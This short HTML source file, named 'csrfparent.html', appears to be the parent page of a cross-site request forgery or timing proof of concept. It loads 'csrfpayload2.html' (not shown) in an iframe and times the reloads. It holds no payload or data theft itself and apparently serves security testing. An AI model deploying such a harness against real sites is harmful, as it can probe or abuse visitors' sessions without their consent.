csrfparent.html (Source)

<script>
delay = 1000; // delay in ms

function create_iframe(result_callback) {	
	var ifr = document.createElement("iframe");		
	ifr.onload = (function(ifr) { 	
		time_taken = 0;
		return function() {
			if(time_taken == 0) {
				time_taken = new Date();
			} else {
				time_taken = (new Date() - time_taken - delay);
				document.body.removeChild(ifr);	
				result_callback(time_taken);			
			}
	}})(ifr);
	ifr.src = "csrfpayload2.html";
	document.body.appendChild(ifr);		
}

document.addEventListener('DOMContentLoaded', function() {	
	create_iframe(function(time_taken) {
		console.log(time_taken + " ms");
	});	
});
</script>